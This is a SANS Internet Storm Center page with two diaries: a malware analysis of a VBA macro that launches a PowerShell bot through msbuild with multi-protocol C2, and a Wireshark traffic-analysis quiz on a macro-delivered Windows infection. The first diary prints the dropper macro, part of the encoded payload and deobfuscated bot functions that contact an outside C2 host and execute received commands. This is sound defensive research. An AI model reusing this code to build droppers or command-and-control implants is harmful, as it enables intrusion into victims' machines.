Threat Level: green Handler on Duty: Brad Duncan

SANS ISC: SANS Internet Storm Center SANS Internet Storm Center


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
[x] close video | All SANSFIRE Videos

Latest Diaries

Powershell Bot with Multiple C2 Protocols

Published: 2020-08-03
Last Updated: 2020-08-05 04:54:55 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

I spotted another interesting Powershell script. It's a bot and is delivered through a VBA macro that spawns an instance of msbuild.exe This Windows tool is often used to compile/execute malicious on the fly (I already wrote a diary about this technique[1]). I don’t have the original document but based on a technique used in the macro, it is part of a Word document. It calls Document_ContentControlOnEnter[2]:

Private Sub CommandButton1_Click()
  MsgBox "Thank you for your participation!"
  Call f332dsasad
End Sub

Private Sub Document_ContentControlOnEnter(ByVal ContentControl As ContentControl)
  f332dsasad
End Sub

This is an interesting technique because it requires some interaction with the victim and therefore may prevent an automatic analysis in a sandbox. The macro was submitted to VT on July 31st from the United States. The current VT score is 1/60[3]. The macro is simple, it dumps an XML project file to disk and launches msbuild.exe:

Sub f332dsasad()
  Dim aaa As String
  On Error Resume Next
  Dim file
  adddsaddsasd
  appDataLocation = Environ("A" & "ppD" & "ata")
  file = appDataLocation & "\Wind" & "owsManager." & "xml"
  Set objFSO = CreateObject("Scripting.FileSystemObject")
  Set oFile = objFSO.CreateTextFile(file, True)
  oFile.Write "<Project ToolsVersion=""4.0"" xmlns=""http://schemas.microsoft.com/developer/msbuild/2003""><Target Name"
  oFile.Write "=""Example""><ClassExample /></Target><UsingTask TaskName=""ClassExample"" TaskFactory=""CodeTaskFactory"""
  oFile.Write " AssemblyFile=""C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"" ><Task>"
  oFile.Write "<Reference Include=""System.Management.Automation"" /><Using Namespace=""System"" /><Using Namespace=""Sy"
  oFile.Write "stem.IO"" /><Using Namespace=""System.Reflection"" /><Using Namespace=""System.Collections.Generic"" /><C"
  oFile.Write "ode Type=""Class"" Language=""cs""><![CDATA[ using System;using System.IO;using System.Diagnostics;using"
  oFile.Write " System.Reflection;using System.Runtime.InteropServices;using System.Collections.ObjectModel;using S"
  oFile.Write "ystem.Management.Automation;using System.Management.Automation.Runspaces;using System.Text;using Mic"
  oFile.Write "rosoft.Build.Framework;using Microsoft.Build.Utilities;public class ClassExample :  Task, ITask{publ"
  oFile.Write "ic override bool Execute(){byte[] data = Convert.FromBase64String(""W1NjcmlwdEJsb2NrXSAkcWY1ID0geyBpZ"
  oFile.Write "igkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uLk1ham9yIC1sZSAyKXsgZnVuY3Rpb24gQ29udmVydFRvLUpzb257IHBhcmFtKFtQY"
  oFile.Write "XJhbWV0ZXIoVmFsdWVGcm9tUGlwZWxpbmU9JFRydWUpXSRpdGVtLCAkRGVwdGgsIFtzd2l0Y2hdJENvbXByZXNzKTsgYWRkLXR5c"

        ... (stuff removed) ...

  oFile.Write "jFSZ3VaS09qQkwySVovSEpaaUJvOGUzS1lZMnV4SlZqams9IjsgJF95NzQrPSJsSUhzeFMyTmhXRFdMNXNVekU5aDFFdFpLdm5qe"
  oFile.Write "FJsWklqQVd3RjFmZXFjPSI7IHBzcTsg"");string script = Encoding.Default.GetString(data);PSExecute(script)"
  oFile.Write ";return true;}public static void PSExecute(string cmd){Runspace runspace = RunspaceFactory.CreateRun"
  oFile.Write "space();runspace.Open();Pipeline pipeline = runspace.CreatePipeline();pipeline.Commands.AddScript(cm"
  oFile.Write "d);pipeline.InvokeAsync();}} ]]></Code></Task></UsingTask></Project>"
  oFile.Close
  waitTill = Now() + TimeValue("00:00:04")
  While Now() < waitTill
      DoEvents
  Wend
  aaa = "c:\Wi" & "nd" & "ow" & "s\" & "Micr" & "oso" & "ft.NE" & "T\Fr" & "ame" & "work64\v4." & "0.30319" & "\M" & "sbuil" & "d.ex" & "e " & file
  retVal = asd21we(aaa, 0)
End Sub

Note that a specific version of the .Net framework is used (v4.0.30319) in the patch of msbuild.exe!

Another nice trick to obfuscate the execution of a new process is to map the WinExec[2] API call to a random string:

Private Declare PtrSafe Function asd21we Lib "kernel32" Alias "WinExec" (ByVal szURL As String, ByVal dwReserved As Long) As Long

The payload is just Base64-encoded and obfuscated but can be easily analyzed. First, a default configuration of the bot is provided via an encrypted array:

$_q60 = @{}; 
 $_q60['sbqJMK0fLjmB6gPKj7CUkBt8bTnjlA09LlQ/TgPLKHk=']='dWShWx68L1gga2nZmCQo80pFsisM+x4BakLCZ40nqOQ='; 
 $_q60['gsgGKVQdByL/VwTm6ZsKjHq+C8+WH9TNiKd8jJgyxGA=']='3FfmM4zpHxiSCATiv1vfT7SLrYF2MRfL54zsjXPi+a4='; 
 $_q60['2dwivHdqm/McOX3LT0i4uMT31s+r+bTMcqA2tXKCSGE=']='X20HRDOJ2pLtTZ/KbV45YtCX7htZNCa9v6iL/iO3L94='; 
 $_q60['8md4kul/RSVA512X6iBFNA9tHHZivEBaEm+JdoatSqc=']='Zb5v1xWBLLljVgke3nY1UwlqtXF2hzvjB9SXwhrInLcr0/ahWDrEGG1a1bhTsShDk7NqeoDOhsTTrkbk/8Z6YA==';
 $_q60['LFIlE0dzJnFT5nU8ZMLXKEuNnTu5RtZ2/Udst9gwaqQ=']='tuVmAE7hc8XjUwQ6g8rqOaetirT9+VSDMoAF/7wIIuIkN2kjtkC1sok2NpLiNsO6'; 
 $_q60['elgqwz9ery3fBazsgT0PzFh9z6onurDmzAb4rQVkS38=']='7z24DOGs16WnTwNJRv4Xvs/cwl2mQ1AWx+TwHglMIBc='; 

This content is Base64 and SHA256 encrypted. Once decoded, you read this:

PS C:\Users\REM> bpf
Name                           Value                                                                                                         
----                           -----                                                                                                         
sleep                          1                                                                                                             
chunksleep                     1                                                                                                             
key                            {47, 130, 248, 76...}                                                                                         
handlers                       HTTPAES256|hxxp://104[.]239[.]177[.]103:80                                                                          
shell                          powershell                                                                                                    
maxrequestsize                 24000         

Another interesting array is obfuscated in the same way and discloses interesting features of the bot:

PS C:\Users\REM> doa
Payload too long for slack API
token
channel
attachments
as_user
text
https://slack.com/api/chat.postMessage
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
The remote server returned an error: (429) Too Many Requests.
thread_ts
https://slack.com/api/channels.replies
DNSError
jobresult
No response from handler
None
POST
Authorization
HTTPAES256
SLACK
HTTPAES256FRONT
DNSAES256

register
127.0.0.1
{"implantType":"PowerShell","localIp":"
","hostname":"
","username":"
","handler":"Multi","connectionString":"
","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"w
indows"}
{"id":"
heartbeat
powershell
payload
command
options
upload
download
posh_in_mem
reflected_assembly
[bool]
[int]
interactive
Process Exited
socks
tcp_fwd
Not a connect
Not a valid destination address
Cant resolve destination address
Cant connect to host
Unknown socks version
Tcp Connection Closed
Payload type not supported: 
true
exit
Bye!
configure

Just by reading this array, you guess that we are facing a bot! An interesting one if indeed the references to the slack.com API! We see that the bot supports multiple protocols to talk to its C2 server:

  • HTTPAES256
  • SLACK
  • HTTPAES256FRONT
  • DNSAES256

We can find a function for each technique in the bot.  Here is the function which sends data to the C2:

function oqe($_hc8, $body) {
   $_l19s = $_d.handlers.split(","); 
   $_ktk = ""; 
   For ($i=0; $i -lt $_l19s.Length + 1; $i++) {
     try {
       $_l19 = $_l19s[$i].split("|");
       if($_l19[0] -eq $_h[17]) { # "HTTPAES256"
         Return v1v $_l19[1] $_hc8 $body;
       } 
       elseif($_l19[0] -eq $_h[18]) { # "SLACK"
         $trySlack = $false; 
         Return ny4 $_hc8 $body; 
       } 
       elseif($_l19[0] -eq $_h[19]) { # "HTTPAES256FRONT"
         Return v1v $_l19[1] $_hc8 $body $_l19[2];
       } 
       elseif($_l19[0] -eq $_h[20]){ # DNSAES256
         Return r8p $_hc8 $body $_l19[1]; 
       }
     }
     catch { 
       if($_.Exception.message -eq 404) {
         throw $_;
       }
       else { 
         $_ktk += $_h[21] + $_.Exception.message;
       } 
     } 
   } 
   Throw $_ktk;
 }

Here is the function which uses Slack to exchange data with the C2:

function ny4($_hc8, $body){ 
  [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null; 
  $bodyEnc = vnm $_d.key $body; 
  $Body2 = @{ url = $_hc8; body = $bodyEnc; } | ConvertTo-Json -Compress -Depth 3; 
  $_uyx = q6d -token $_d.slacktoken -channelID $_d.slackchannel -Header $Body2; 
  if($_hc8 -ne $_h[12]){ 
    $thread_ts = $_uyx.ts; 
    sleep -Milliseconds 500;
    $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; 
    if($_uyx2.messages.length -lt 2){ 
      Sleep 4; 
      $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; 
    } 
    if($_uyx2.messages.length -lt 2){ 
      throw $_h[13]; 
    } 
    $_yl5 = ncf $_d.key $_uyx2.messages[1].text ; 
    if($_yl5 -eq "404"){ 
      throw "404"; 
    } 
    return ConvertFrom-Json $_yl5; 
  } 
} 

The rest of the code is classic for a bot. Once initialized, it enters an infinite loop and contacts the C2 at a regular interval (based on the config with some randomization):

Sleep (Get-Random -Minimum ([float]$_d.sleep * 0.7) -Maximum ([float]$_d.sleep * 1.3));

When launched, it registers itself to the C2 by sending the IP address, hostname, and username and get back from the C2 a handler. Here is the initial information sent:

{"implantType":"PowerShell","localIp":"172.16.74.131","hostname":"DESKTOP-2C3IQHO","username":"REM","handler":"Multi","connectionString":"HTTPAES256|hxxp://104[.]239[.]177[.]103:80","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"windows"}

Note the list of available commands:

  • Command (execute something)
  • Upload
  • Download
  • Configure
  • Exit
  • Posh in mem
  • Reflected assembly
  • Interactive
  • Socks (proxy)

Once registration is successful:

{
  "localIp":"172.16.74.131",
  "sourceIp":"",
  "os":"windows",
  "hostname":"DESKTOP-2C3IQHO",
  "username":"REM",
  "handler":"Multi",
  "connectionString":"HTTPAES256|hxxp://104[.]239[.]177[.]103:80",
  "implantType":"PowerShell",
  "config":{},
  "supportedPayloads": 
     ["command","exit","upload","download","configure",
      "posh_in_mem","reflected_assembly","cd","interactive","socks"
     ],
  "_id":"AlsHROTc7sr98HtH7joE9RyuPAiJ5orJ",
  "createdAt":1596440810315,
  "lastSeen":1596440810315,
  "listener":""
}

Now, we've our _id! I was curious about the command 'posh_in_mem'. It just means "PowerShell in memory" and allows execution of the submitted PowerShell code:

 } elseif ($_wxs.($_h[32]).type -eq $_h[37]) { 
   if($_wxs.($_h[32]).($_h[34]).pipe_id){ 
     $bytes = zvf $_suv $_wxs.($_h[32]).($_h[34]).length; 
     $script = [System.Text.Encoding]::ASCII.GetString($bytes);
   } else {
     $script = "";
   } 
   $script += $_h[21] + $_wxs.($_h[32]).($_h[34]).command; 
   $_yl5=""; 
   $_e7i = Invoke-Expression $script | Out-String; 
   ForEach ($line in $($_e7i -split $_h[21])){ 
     $_yl5+=$line.TrimEnd() + $_h[21]; 
   } 
   igl $_wxs._id $_yl5 $false;
  } 

The C2 is located at 104.239.177.103 and is still alive. This IP address is serving the following website: https://culture-amp[.]com. It allows you to download a document called 'Diversity and Inclusion Survey.docm'[5] that contains... our initial macro!

I kept the bot running for approximately 24 hours but I never received any command. Only heartbeats were processed. In my opinion, these files could be related to a red-team exercise or targeting a specific victim/organization. The fact that the path to msbuild.exe is hardcoded to a specific .Net framework version is a good sign. Anyway, the Powershell script was really nice to analyze!

[1] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278
[2] https://docs.microsoft.com/en-us/office/vba/api/word.document.contentcontrolonenter
[3] https://www.virustotal.com/gui/file/13afde702d9b1e80502b12c5f703dce594e240bfd8c3919e06464d1b8f301395/submissions
[4] https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec
[5] https://www.virustotal.com/gui/file/2d7e5fe74a170f82006cbf29f9fef1e1be867c8cd89d077bfa0ffc58dfb36839/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Keywords: Bot Macro Powershell VBA
0 comment(s)

Traffic Analysis Quiz: What's the Malware From This Infection?

Published: 2020-08-05
Last Updated: 2020-08-05 00:02:24 UTC
by Brad Duncan (Version: 1)
0 comment(s)

Introduction

Today's diary is a traffic analysis quiz where you try to identify the malware based on a pcap of traffic from an infected Windows host.  Download the pcap from this page, which also has the alerts.  Don't open or review the alerts yet, because they give away the answer.

Meanwhile, I'll provide the requirements for this quiz and some background on the infection.


Shown above:  Screenshot of the pcap for this quiz opened in Wireshark.

Requirements

This type of analysis requires Wireshark.  Wireshark is my tool of choice to review packet captures (pcaps) of infection activity.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

Another requirement: use a non-Windows environment like BSD, Linux, or macOS.  Why?  Because this pcap contains HTTP traffic sending Windows-based malware.  If you're using a Windows host to review the pcap, your antivirus (or Windows Defender) may delete the pcap or malware.  Worst case?  If you extract the malware from the pcap and accidentally run it, you might infect your Windows computer.

So if you're new to this type of analysis, beware.  There's malware involved.

Background on the infection

This infection was caused by a malicious Excel spreadsheet.  It has macros designed to infect a vulnerable Windows host, so I infected one in my lab.  Default settings in recent versions of Microsoft Office would prevent these type of macros from causing an infection.  This is much more effective against older versions of Windows like Windows 7.


Shown above:  Screenshot of the spreadsheet used for this infection.

Enabling macros on this spreadsheet caused my vulnerable host to download a malicious Windows executable (EXE) and save it as C:\Users\Public\svchost32.exe where it was initially run.


Shown above:  The initial location of the malicious EXE on my infected lab host.

After a minute or two, the malware was deleted from C:\Users\Public\svchost32.exe and saved under a randomly-named directory under C:\Program Files (x86)\ using a random file name.  The directory and new file name are different for each infection.  The malware was made persistent through an update to the Windows registry as shown below.


Shown above:  Windows registry update and location of the malware persistent on my infected host.

This method is used by different families of malware.  The chain of events:

  • Victim receives a malicious Microsoft Office document (usually an Excel spreadsheet or Word document)
  • Victim enables macros on a vulnerable Windows host
  • Vulnerable Windows host retrieves a Windows EXE or DLL through web-based traffic
  • EXE or DLL is saved to disc
  • The EXE or DLL infects the vulnerable Windows host and is made persistent

Fortunately, this chain is rarely effective against an up-to-date version of Windows with default security settings.  In this case, Microsoft Office would not run the macro unless I disabled some key security functions.


Shown above:  Warning message I initially saw on my lab host.

Reviewing the pcap

If you've set up Wireshark according to the previously-mentioned tutorials, open the pcap and use the basic web filter to find an HTTP request to aromaterapiaclinicabrasil[.]com[.]br on 162.214.51[.]208.


Shown above:  Traffic from the quiz pcap filtered in Wireshark.

This HTTP request ends with .jpg, but it returned an EXE.  Left click on that line and follow the TCP stream, so we can confirm this is, in fact, an EXE.


Shown above:  HTTP request ending with .jpg returns a Windows EXE or DLL.

Is this is an EXE, or is it a DLL?  They both look the same in a TCP stream.  The ASCII characters MZ show as the first two bytes, and This program must be run under Win32 could be used by an EXE, or it could be used by a DLL.  To get more information on the file, we can explort it from the pcap.  A word of caution: this is Windows malware, so you should export this file in a non-Windows environment.

Use the menu path File --> Export Objects --> HTTP and export the file returned from aromaterapiaclinicabrasil[.]com[.]br as shown in the next two images.


Shown above:  Exporting objects from HTTP traffic in the pcap.


Shown above:  Saving the file returned from aromaterapiaclinicabrasil[.]com[.]br.

In a Linux environment, it's easy to confirm what type of file this is.  Use the file command in a terminal window.  Get the SHA256 hash of the file using the shasum -a 256 command as shown below.  I prefer a Debian or Ubuntu-based Linux environment, but any Linux environment will do.


Shown above:  Using a terminal window to confirm this is an EXE and get the SHA256 hash.

Once you have the SHA256 hash, search for it in VirusTotal or publicly-available online sandboxes like app.any.run, capesandbox.com, and other sites. You can also do a Google search.


Shown above:  Google results when I searched for the SHA256 hash of the EXE.

Keep in mind the Office document is a delivery mechanism.  The actual malware is based on the EXE retrieved after enabling macros.  What is the malware family in this case?  The answer is not as straight-forward as you might think.  Different vendors often have their own names for the same type of malware.  In this case, alerts from the post-infection traffic will reveal what family of malware caused this infection.


Shown above:  Alerts from the infection using Security Onion with Suricata and the EmergingThreats Pro (ETPRO) ruleset.

Final words

If you're an experienced malware analyst, this quiz might provide a minute or two of interest.  If you're tempted to immediately know the answer, just review the alerts and find ones for the CnC traffic.  If you're new to this type of analysis, hopefully this quiz has helped.

Once again, a pcap of the traffic and the associated alerts are located here

A copy of the spreadsheet that caused this traffic can be found here.

A copy of the EXE can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Keywords: exercise malware pcap
0 comment(s)

If you have more information or corrections regarding our diary, please share.

Recent Diaries

Powershell Bot with Multiple C2 Protocols
Aug 5th 2020
3 hours ago by Xme (0 comments)

Internet Choke Points: Concentration of Authoritative Name Servers
Aug 4th 2020
17 hours ago by Johannes (0 comments)

Reminder: Patch Cisco ASA / FTD Devices (CVE-2020-3452). Exploitation Continues
Aug 4th 2020
21 hours ago by Johannes (0 comments)

Small Challenge: A Simple Word Maldoc
Aug 2nd 2020
2 days ago by DidierStevens (0 comments)

What pages do bad bots look for?
Aug 1st 2020
3 days ago by Jan (0 comments)

Building a .freq file with Public Domain Data Sources
Jul 31st 2020
4 days ago by Richard (0 comments)

Python Developers: Prepare!!!
Jul 30th 2020
5 days ago by Johannes (0 comments)

Consumer VPNs: You May Be Fine Without
Jul 29th 2020
6 days ago by Johannes (0 comments)

View All Diaries →

Latest Discussions

Report Phishing to Major Cloud Providers
created Jul 12th 2020
3 weeks ago by Anonymous (0 replies)

Security Protocols to Follow while Working From Home!
created Jul 11th 2020
3 weeks ago by Anonymous (0 replies)

Security Policies
created Jun 30th 2020
1 month ago by Anonymous (1 reply)

IP Address from Hex
created Apr 15th 2020
3 months ago by Anonymous (0 replies)

Best Laptop for Wireshark 3.2
created Apr 14th 2020
3 months ago by ismicok (0 replies)

View All Forums →

Latest News

Top Diaries

An infection from Rig exploit kit
Jun 17th 2019
1 year ago by Brad (0 comments)

Using a Raspberry Pi honeypot to contribute data to DShield/ISC
Aug 3rd 2017
3 years ago by Johannes (0 comments)

Malspam with password-protected Word docs pushing Dridex
Jun 18th 2019
1 year ago by Brad (0 comments)

Wide-scale Petya variant ransomware attack noted
Jun 27th 2017
3 years ago by Brad (0 comments)

Keep an Eye on Disposable Email Addresses
Mar 7th 2019
1 year ago by Xme (0 comments)